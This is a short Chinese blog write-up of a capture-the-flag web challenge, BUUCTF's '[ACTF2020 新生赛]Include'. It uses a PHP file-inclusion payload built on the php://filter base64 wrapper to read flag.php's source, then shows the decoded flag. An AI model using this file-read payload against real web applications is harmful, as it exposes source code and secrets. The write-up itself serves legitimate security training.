

BUUCTF, Web: [ACTF2020 新生赛]Include

原创

Part 02 已于 2022-02-13 12:06:43 修改 5997 收藏

文章标签: [蓝桥杯](#) [职场和发展](#)

于 2022-02-10 20:37:40 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_62260856/article/details/122868331

版权

6704638e-cf3a-4277-8da7-8f9dc98f736f.node4.buuoj.cn:81

tips

CSDN @Part 02

进 tips, 看到 url 提示, 文件流读取

eca5c012-72a7-4f45-810f-2814f2c9daa6.node4.buuoj.cn:81?file=flag.php

Can you find out the flag?

CSDN @Part 02

URL?file=php://filter/read=convert.base64-encode/resource=flag.php



CSDN @Part 02

解码得到最后信息

A screenshot of an online Base64 decoding tool. The page title is "base编码". Below the title, it lists "base16、base32、base64". A large text input area contains the Base64-encoded string: `PD9waHAKZWNobyAiQ2FulHlvdSBmaW5kiG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDYzYTA3OGQtOTJjMS00M2lwLTkyMTItZjUwYmMzNjY3ZWEwfQo=`. Below the input area, there are two dropdown menus: "编码" (Encoding) set to "base64" and "字符集" (Character Set) set to "utf8(unicode编码)". There are two buttons: "编码" (Encode) and "解码" (Decode). The "解码" button is highlighted. Below the buttons, the decoded output is shown in a text area:

```
<?php
echo "Can you find out the flag?";
//flag(d63a078d-92c1-43b0-9212-f50bc3667ea0)
```

CSDN @Part 02